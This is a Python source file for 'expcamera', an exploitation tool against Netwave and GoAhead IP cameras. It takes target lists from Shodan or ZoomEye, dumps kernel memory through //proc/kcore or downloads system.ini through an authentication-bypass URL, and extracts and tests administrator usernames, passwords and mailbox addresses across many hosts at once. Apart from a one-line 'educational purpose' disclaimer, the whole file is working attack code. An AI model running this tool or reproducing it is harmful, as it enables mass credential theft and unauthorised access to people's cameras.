#!/usr/bin/python3
import argparse
import time
import subprocess
import os
import logging
import shlex
import threading
import random
import sys
import signal
try:
    import requests
    import tailer
    import pyfiglet
    import shodan
except ImportError as e:
    print("The error occured:%s"%e)
    print("Try this: pip3 install -r ./related.txt")
    sys.exit(0)

TMP_PATH='/tmp/'

parser=argparse.ArgumentParser(description="Exploit IP Camera. Please use it just in educational purpose!")
parser.add_argument("-b","--brand",dest='brand',help="Choose the brand of IP Camera. 1 represents Netwave,2 represents GoAhead.",choices=[1,2],type=int)
parser.add_argument("-o","--output",dest='outputfile',help="Output into path you input.The default path in dir /tmp",type=str)
parser.add_argument("-T","--timeout",dest='timeout',help="The default timout for netwave is 300s.",type=int,default=300)
parser.add_argument("-t","--task",dest='tasks',help="Run TASKS number of connects in parallel,default is 10.",default=10,type=int)
parser.add_argument("-c","--count",dest='count',help="The number of ip you want to get from ZoomEye.The maximum is 2000. Default is 100.",default=100,type=int)
group1=parser.add_mutually_exclusive_group()
group1.add_argument("-q","--quiet",dest='quiet',help="Quiet mode.",action='store_true')
group1.add_argument("-v","--verbose",dest='verbose',help="Show more informations.",action='store_true')
group2=parser.add_mutually_exclusive_group()
group2.add_argument("-i","--ip",dest='ip',help="The camera's ip and port.Example: 192.168.1.100:80",type=str)
group2.add_argument("-l","--list",dest='inputfile',help="The camera's ip:port address file. The file's format like this 192.168.1.100:80 in a line.",type=str)
group2.add_argument("--shodan",dest='shodan',help="Your Shodan API Key.You can get help from https://www.shodan.io/",type=str)
group2.add_argument("--zoomeye",dest='zoomeye',help="Your ZoomEye API Key.You can get help from https://www.zoomeye.org/api",type=str)

args=parser.parse_args()

if args.outputfile:
    logger = logging.getLogger()
    try:
        fh = logging.FileHandler(args.outputfile)
    except Exception:
        fh=logging.FileHandler(TMP_PATH+args.outputfile)
    logger.addHandler(fh)
    logger.setLevel(logging.INFO)

def handlesignal(signum,frame):
    print(color.Mindyellow+"\nYou choose to stop exploiting.")
    sys.exit(0)

class Color(object):
    Warnred = '\033[91m'
    Sucgreen = '\033[92m'
    Defblue = '\033[94m'
    Headmagenta = '\033[95m'
    Mindyellow='\033[93m'

color=Color()
signal.signal(signal.SIGINT,handlesignal)
class NWThread(threading.Thread):
    def __init__(self,ip,port):
        threading.Thread.__init__(self)
        self.ip=ip
        self.port=port
        self.macurl = 'http://' + self.ip + ':' + self.port + '/get_status.cgi'
        self.dumpurl= 'http://' + self.ip + ':' + self.port + '//proc/kcore'
        self.starttime=time.time()
        self.forreplace='tmpout_%s'%self.starttime
        self.tmpstream=TMP_PATH+'tmpstream_%s'%self.starttime
        self.tmpout=TMP_PATH+self.forreplace
        self.base=TMP_PATH+'base.py'
        self.usefile=self.tmpout+'.py'
        self.count=0
        self.loginlist=[]
        subprocess.Popen("cp ./base.py %s 2>/dev/null"%self.base,shell=True)
    def getMac(self):
        try:
            self.r=requests.get(self.macurl,timeout=30)
            self.text=self.r.text.split(';\n')
            for i in self.text:
                if i.startswith('var id='):
                    tmp=i.split('\'')
                    macaddr=tmp[1]
                    if args.outputfile:
                        logger.info(color.Defblue+"IP:%s,port:%s,MAC:%s"%(self.ip,self.port,macaddr))
                    if args.verbose:
                        print(color.Defblue+"IP:%s,port:%s,MAC:%s"%(self.ip,self.port,macaddr))
                    return macaddr
        except Exception:
            return None
    def memorydump(self,mac):
        try:
            try:
                pw_args=shlex.split("wget -qO - %s"%self.dumpurl)
                pw = subprocess.Popen(pw_args,stdout=open(self.tmpstream,'w'))
            except Exception as e:
                if args.outputfile:
                    logger.error(color.Warnred+"[!]The ip:%s,port:%s,wget part has error occured:%s"%(self.ip,self.port,e))
                if args.verbose:
                    print(color.Warnred+"[!]The ip:%s,port:%s,wget part has error occured:%s"%(self.ip,self.port,e))
            subprocess.Popen("echo '' > %s" % self.tmpout,shell=True)
            time.sleep(1)
            try:
                pt = subprocess.Popen("tail --pid=%d -f %s | strings >> %s" % (pw.pid,self.tmpstream, self.tmpout), shell=True)
            except Exception as e:
                if args.outputfile:
                    logger.error(color.Warnred+"The ip:%s,port:%s,tail -f part has error occured:%s"%(self.ip,self.port,e))
                if args.verbose:
                    print(color.Warnred+"The ip:%s,port:%s,tail -f part has error occured:%s"%(self.ip,self.port,e))
            subprocess.Popen("sed -e 's/replace/%s/g' -e 's/300/%d/g' %s > %s" % (self.forreplace,args.timeout+100,self.base, self.usefile), shell=True)
            time.sleep(0.5)
            subprocess.Popen("chmod a+x %s" % self.usefile, shell=True)
            time.sleep(0.5)
            try:
                padd = subprocess.Popen([self.usefile])
            except Exception as e:
                if args.outputfile:
                    logger.error(color.Warnred+"[!]The ip:%s,port:%s,addpy part has error occured:%s"%(self.ip,self.port,e))
                if args.verbose:
                    print(color.Warnred+"[!]The ip:%s,port:%s,addpy part has error occured:%s"%(self.ip,self.port,e))
            while True:
                if os.stat(self.tmpout).st_size < 1024:
                    self.init_end_time = time.time()
                    if self.init_end_time - self.starttime > 60:
                        if args.outputfile:
                            logger.info(color.Defblue+"[-]The ip:%s,port:%s is not vulnerable!"%(self.ip,self.port))
                        print(color.Defblue+"[-]The ip:%s,port:%s is not vulnerable!" % (self.ip, self.port))
                        break
                else:
                    for line in tailer.follow(open(self.tmpout, 'r')):
                        self.tail_end_time = time.time()
                        if self.tail_end_time - self.starttime > args.timeout:
                            if args.outputfile:
                                logger.info(color.Defblue+"[-]The ip:%s,port:%s is not vulnerable!" % (self.ip, self.port))
                            print(color.Defblue+"[-]The ip:%s,port:%s is not vulnerable!" % (self.ip, self.port))
                            break
                        if self.count == 0:
                            if line == mac:
                                self.count = 1
                        elif self.count == 1:
                            self.loginlist.append(line)
                            self.count = 2

                        elif self.count == 2:
                            self.loginlist.append(line)
                            self.count = 3

                        elif self.count == 3:
                            self.loginlist.append(line)
                            self.count = 4
                        elif self.count == 4:
                            self.loginlist.append(line)
                            break
                        else:
                            continue
                    break
        except Exception as e:
            if args.outputfile:
                logger.error(color.Warnred+"[!]The error occured in memorydump at ip %s:%s" % (self.ip, e))
            if args.verbose:
                print(color.Warnred+"[!]The error occured in memorydump at ip %s:%s" % (self.ip, e))
        finally:
            try:
                padd.kill()
                time.sleep(random.random())
            except Exception as e:
                if args.outputfile:
                    logger.error(color.Warnred+"[!]IP:%s,The error occured in killing addpy part:%s" % (self.ip, e))
                if args.verbose:
                    print(color.Warnred+"[!]IP:%s,The error occured in killing addpy part:%s" % (self.ip, e))
            try:
                subprocess.Popen("rm %s 2> /dev/null" % self.usefile,shell=True)
                time.sleep(random.random())
            except Exception as e:
                if args.outputfile:
                    logger.error(color.Warnred+"[!]IP:%s,the error occured in removing addpy part:%s"%(self.ip,e))
                if args.verbose:
                    print(color.Warnred+"[!]IP:%s,The error occured in killing addpy part:%s" % (self.ip, e))
            try:
                pw.kill()
                time.sleep(random.random())
            except Exception as e:
                if args.outputfile:
                    logger.error(color.Warnred+"IP:%s,The error occured in killing wget part:%s" % (self.ip, e))
                if args.verbose:
                    print(color.Warnred+"IP:%s,The error occured in killing addpy part:%s" % (self.ip, e))
            try:
                subprocess.Popen("rm %s 2> /dev/null" % self.tmpstream,shell=True)
                time.sleep(random.random())
            except Exception as e:
                if args.outputfile:
                    logger.error(color.Warnred+"IP:%s,The error occured in removing tmpstream part:%s" % (self.ip, e))
                if args.verbose:
                    print(color.Warnred+"IP:%s,The error occured in killing addpy part:%s" % (self.ip, e))
            try:
                pt.kill()
                time.sleep(random.random())
            except Exception as e:
                if args.outputfile:
                    logger.error(color.Warnred+"IP:%s,The error occured in killing tail part:%s" % (self.ip, e))
                if args.verbose:
                    print(color.Warnred+"IP:%s,The error occured in killing tail part:%s" % (self.ip, e))
            try:
                subprocess.Popen("rm %s 2> /dev/null" % self.tmpout,shell=True)
                time.sleep(random.random())
            except Exception as e:
                if args.outputfile:
                    logger.error(color.Warnred+"IP:%s,The error occured in removing tmpout part:%s"%(self.ip,e))
                if args.verbose:
                    print(color.Warnred+"IP:%s,The error occured in removing tmpout part:%s"%(self.ip,e))
    def exploit(self):
        for i in self.loginlist:
            for j in self.loginlist:
                try:
                    tmp_url = 'http://' + self.ip + ':' + self.port + '/check_user.cgi'
                    tmp_r = requests.get(tmp_url, timeout=10)
                except Exception:
                    continue
                if tmp_r.status_code == 401:
                    try:
                        auth_set = (i, j)
                        tmp_r = requests.get(tmp_url, auth=auth_set, timeout=10)
                        tmp_sleep = random.random()
                        time.sleep(tmp_sleep)
                        if tmp_r.status_code == 200:
                            if args.outputfile:
                                logger.info(color.Sucgreen+"[+]The ip:%s,port:%s,username:%s,password:%s"%(self.ip,self.port,i,j))
                            print(color.Sucgreen+"[+]The ip:%s,port:%s,username:%s,password:%s"%(self.ip,self.port,i,j))
                            return
                        else:
                            continue
                    except Exception:
                        continue
                elif tmp_r.status_code == 404:
                    tmp_url = 'http://' + self.ip + ':' + self.port + '/get_camera_params.cgi'
                    tmp_r = requests.get(tmp_url, timeout=10)
                    if tmp_r.status_code == 401:
                        try:
                            auth_set = (i, j)
                            tmp_r = requests.get(tmp_url, auth=auth_set, timeout=10)
                            tmp_sleep = random.random()
                            time.sleep(tmp_sleep)
                            if tmp_r.status_code == 200:
                                if args.outputfile:
                                    logger.info(color.Sucgreen+"The ip:%s,port:%s,username:%s,password:%s" % (self.ip, self.port, i, j))
                                print(color.Sucgreen+"[+]The ip:%s,port:%s,username:%s,password:%s" % (self.ip, self.port, i, j))
                                return
                            else:
                                continue
                        except Exception:
                            continue
                    else:
                        if args.outputfile:
                            logger.info(color.Defblue+"[-]The IP Camera may not by vulnerable!")
                        print(color.Defblue+"[-]The IP Camera may not by vulnerable!")
    def run(self):
        try:
            macaddr=self.getMac()
            if macaddr is not None:
                if args.outputfile:
                    logger.info(color.Defblue + 'Exploiting ip:%s,port:%s...' % (self.ip, self.port))
                if args.verbose:
                    print(color.Defblue + 'Exploiting ip:%s,port:%s...' % (self.ip, self.port))
                self.memorydump(macaddr)
                self.exploit()
                if args.outputfile:
                    logger.info("*"*50)
                if args.verbose:
                    print("*"*50)
            else:
                if args.outputfile:
                    logger.info(color.Defblue+"[-]The IP Camera ip:%s,port:%s is not vulnerable!" % (self.ip,self.port))
                    logger.info("*"*50)
                print(color.Defblue+"[-]The IP Camera ip:%s,port:%s is not vulnerable!" % (self.ip,self.port))
                print("*"*50)
        except Exception:
            pass

class GoAThread(threading.Thread):
    def __init__(self,ip,port):
        threading.Thread.__init__(self)
        self.ip=ip
        self.port=port
        self.starttime=time.time()
        self.info_url='http://'+self.ip+':'+self.port+'/system.ini?loginuse&loginpas'
        self.wget_out_path=TMP_PATH+'tmpout_%s'%self.starttime
        self.strings_out_path=TMP_PATH+'tmpstrings_%s'%self.starttime
        self.ftp_flag=False
        self.mailbox_flag=False
        self.keep_strings_file=False
    def getInfo(self):
        try:
            if args.outputfile:
                logger.info(color.Defblue+'Exploiting ip:%s,port:%s...'%(self.ip,self.port))
            if args.verbose:
                print(color.Defblue+'Exploiting ip:%s,port:%s...'%(self.ip,self.port))
            pw_args = shlex.split("wget -qO - %r" % self.info_url)
            pw = subprocess.Popen(pw_args, stdout=open(self.wget_out_path, 'w'))
            tmp_sleeptime = random.randint(10, 30)
            time.sleep(tmp_sleeptime)
            if os.stat(self.wget_out_path).st_size > 0:
                if args.outputfile:
                    logger.info(color.Defblue+"The ip:%s,port:%s is vulnerable!"%(self.ip,self.port))
                print(color.Defblue+"The ip:%s,port:%s is vulnerable!"%(self.ip,self.port))
                try:
                    pstr = subprocess.Popen(['strings', ], stdin=open(self.wget_out_path, 'r'),
                                            stdout=open(self.strings_out_path, 'w'))
                    count = 0
                    time.sleep(1)
                    with open(self.strings_out_path, 'r') as f:
                        for i in f.readlines():
                            if 'nc' in i or 'sh' in i:
                                if not self.ftp_flag:
                                    if args.outputfile:
                                        logger.info(color.Mindyellow+"[*]The ip:%s,port:%s,FTP may be vulnerable!" % (self.ip, self.port))
                                    print(color.Mindyellow+"[*]The ip:%s,port:%s,FTP may be vulnerable!" % (self.ip, self.port))
                                    self.ftp_flag=True
                            elif '@' in i:
                                if not self.mailbox_flag:
                                    tmp_mailbox = i.strip('\n').strip(' ').strip()
                                    if args.outputfile:
                                        logger.info(color.Mindyellow+"[*]The ip:%s,port:%s,mailbox:%s" % (self.ip, self.port, tmp_mailbox))
                                        logger.info(color.Mindyellow+"[*]You may check mailbox password manually in directory RECHECK!The file is recheck_%s"%self.ip)
                                    print(color.Mindyellow+"[*]The ip:%s,port:%s,mailbox:%s" % (self.ip, self.port, tmp_mailbox))
                                    print(color.Mindyellow+"[*]You may check mailbox password manually in directory RECHECK!The file is recheck_%s"%self.ip)
                                    self.mailbox_flag = True
                                    self.keep_strings_file = True
                            elif count == 0:
                                if 'admin' in i:
                                    tmp_username = i.strip('\n').strip(' ').strip()
                                    if args.outputfile:
                                        logger.info(color.Sucgreen+"[+]The ip:%s,port:%s,username:%s" % (self.ip, self.port, tmp_username))
                                    print(color.Sucgreen+"[+]The ip:%s,port:%s,username:%s" % (self.ip, self.port, tmp_username))
                                    count = 1
                                    continue
                            elif count == 1:
                                tmp_password = i.strip('\n').strip(' ').strip()
                                if args.outputfile:
                                    logger.info(color.Sucgreen+"[+]The ip:%s,port:%s,password:%s" % (self.ip, self.port, tmp_password))
                                print(color.Sucgreen+"[+]The ip:%s,port:%s,password:%s" % (self.ip, self.port, tmp_password))
                                break
                            else:
                                continue
                        else:
                            self.keep_strings_file = True
                            if args.outputfile:
                                logger.info(color.Mindyellow+"[*]The default username is not admin, you need to check manually in directory RECHECK!The file is recheck_%s"%self.ip)
                            print(color.Mindyellow+"[*]The default username is not admin, you need to check manually in directory RECHECK!The file is recheck_%s"%self.ip)
                except Exception as e:
                    if args.outputfile:
                        logger.error(color.Warnred+"[!]The error occured in getting info part:%s" % e)
                    if args.verbose:
                        print(color.Warnred+"[!]The error occured in getting info part:%s" % e)
                    pass
                finally:
                    try:
                        pstr.kill()
                    except Exception:
                        pass
            else:
                try:
                    pw.kill()
                    if args.outputfile:
                        logger.info(color.Defblue+"[-]The ip:%s,port:%s may not be vulnerable!"%(self.ip,self.port))
                    print(color.Defblue+"[-]The ip:%s,port:%s may not be vulnerable!"%(self.ip,self.port))
                except Exception:
                    pass
        finally:
            if self.keep_strings_file:
                subprocess.Popen("rm %s 2>/dev/null" % self.wget_out_path, shell=True)
                subprocess.Popen("mkdir RECHECK 2>/dev/null",shell=True)
                subprocess.Popen("mv %s ./RECHECK/recheck_%s 2>/dev/null"%(self.strings_out_path,self.ip),shell=True)
            else:
                subprocess.Popen("rm %s 2>/dev/null" % self.wget_out_path, shell=True)
                subprocess.Popen("rm %s 2>/dev/null" % self.strings_out_path, shell=True)
    def run(self):
        self.getInfo()
        if args.outputfile:
            logger.info('*' * 50)
        print('*' * 50)

class Scrapy(object):
    def __init__(self,key,app,page=None):
        self.key=key
        self.app=app
        self.page=page
        self.header={}
    def shodan(self):
        self.shodanapi=shodan.Shodan(self.key)
        self.sdresults=self.shodanapi.search(query=self.app)
        self.sdiplist=[]
        for results in self.sdresults['matches']:
            tmp = results['ip_str'] + ':' + str(results['port'])
            self.sdiplist.append(tmp)
        return self.sdiplist
    def zoomeye(self):
        self.base_1='https://api.zoomeye.org/host/search?query='
        self.base_2='&page='
        self.url=self.base_1+self.app+self.base_2+str(self.page)
        self.header['Authorization']='JWT '+self.key
        self.zeiplist = []
        try:
            self.s=requests.Session()
            self.r=self.s.get(self.url,headers=self.header)
            self.data=self.r.json()
            if not len(self.data['matches']):
                return None
            for data in self.data['matches']:
                tmp = data['ip'] + ':' + str(data['portinfo']['port'])
                self.zeiplist.append(tmp)
            return self.zeiplist
        except Exception as e:
            if args.outputfile:
                logger.error(color.Warnred+'[!]Scrapying ip from ZoomEye occured.',e)
            print(color.Warnred+'[!]Scrapying ip from ZoomEye occured.',e)
        finally:
            self.s.close()


def crack(tmp_ip_list):
    instance_list = []
    for i in tmp_ip_list:
        tmp_ip = i.split(':')[0]
        tmp_port = i.split(':')[-1]
        if args.brand == 1:
            tmp_instance = NWThread(ip=tmp_ip, port=tmp_port)
        if args.brand == 2:
            tmp_instance = GoAThread(ip=tmp_ip, port=tmp_port)
        tmp_instance.setDaemon(True)
        instance_list.append(tmp_instance)
        if len(instance_list) > args.tasks - 1:
            for ins in instance_list:
                ins.start()
            for ins in instance_list:
                ins.join()
            instance_list = []
    try:
        for ins in instance_list:
            ins.start()
        for ins in instance_list:
            ins.join()
    except Exception:
        pass

def main():
    subprocess.Popen("clear",shell=True)
    fig=pyfiglet.Figlet('slant')
    HEADER=fig.renderText('EXPCAMERA')
    VERSION='version:0.9.5'
    WRITER='https://github.com/vanpersiexp'
    print(color.Headmagenta+HEADER)
    print(color.Headmagenta+VERSION.center(70))
    print(color.Headmagenta+WRITER.center(70))
    print(color.Defblue+"Press Ctrl+C to stop.")
    if args.shodan:
        try:
            if args.brand==1:
                tmp_s=Scrapy(key=args.shodan,app='netwave')
                tmp_ip_list=tmp_s.shodan()
                crack(tmp_ip_list)
            if args.brand==2:
                tmp_s=Scrapy(key=args.shodan,app='5ccc069c403ebaf9f0171e9517f40e41')
                tmp_ip_list=tmp_s.shodan()
                crack(tmp_ip_list)
        except Exception as e:
            print("The error occured:",e)
            print("Pleas use python3 expcamera.py -h or ./expcamera.py -h for more help")
    elif args.zoomeye:
        try:
            p1,p2=divmod(args.count,20)
            page=p1
            if p2 != 0:
                page+=1
            for p in range(1, page + 1):
                if args.brand == 1:
                    tmp_s=Scrapy(key=args.zoomeye, app='netwave', page=p)
                    tmp_ip_list = tmp_s.zoomeye()
                if args.brand == 2:
                    tmp_s = Scrapy(key=args.zoomeye, app='5ccc069c403ebaf9f0171e9517f40e41', page=p)
                    tmp_ip_list=tmp_s.zoomeye()
                crack(tmp_ip_list)
        except Exception as e:
            print("The error occured:",e)
            print("Pleas use python3 expcamera.py -h or ./expcamera.py -h for more help")
    elif args.inputfile:
        try:
            tmp_ip_list = []
            with open(args.inputfile,'r') as f:
                for i in f.readlines():
                    tmp_ip_list.append(i.strip())
            crack(tmp_ip_list)
        except Exception as e:
            print("The error occured:%s"%e)
            print("Pleas use python3 expcamera.py -h or ./expcamera.py -h for more help")
    elif args.ip:
        try:
            ip=args.ip.split(':')[0]
            port=args.ip.split(':')[-1]
            if args.brand == 1:
                inst=NWThread(ip=ip,port=port)
            if args.brand == 2:
                inst=GoAThread(ip=ip,port=port)
            inst.start()
            inst.join()
        except Exception as e:
            print("The error occured:%s"%e)
            print("Pleas use python3 expcamera.py -h or ./expcamera.py -h for more help")
    else:
        print("Use python3 expcamera.py -h or ./expcamera.py -h for more help")

if __name__=='__main__':
    try:
        main()
    except Exception:
        print("Use python3 expcamera.py -h or ./expcamera.py -h for more help")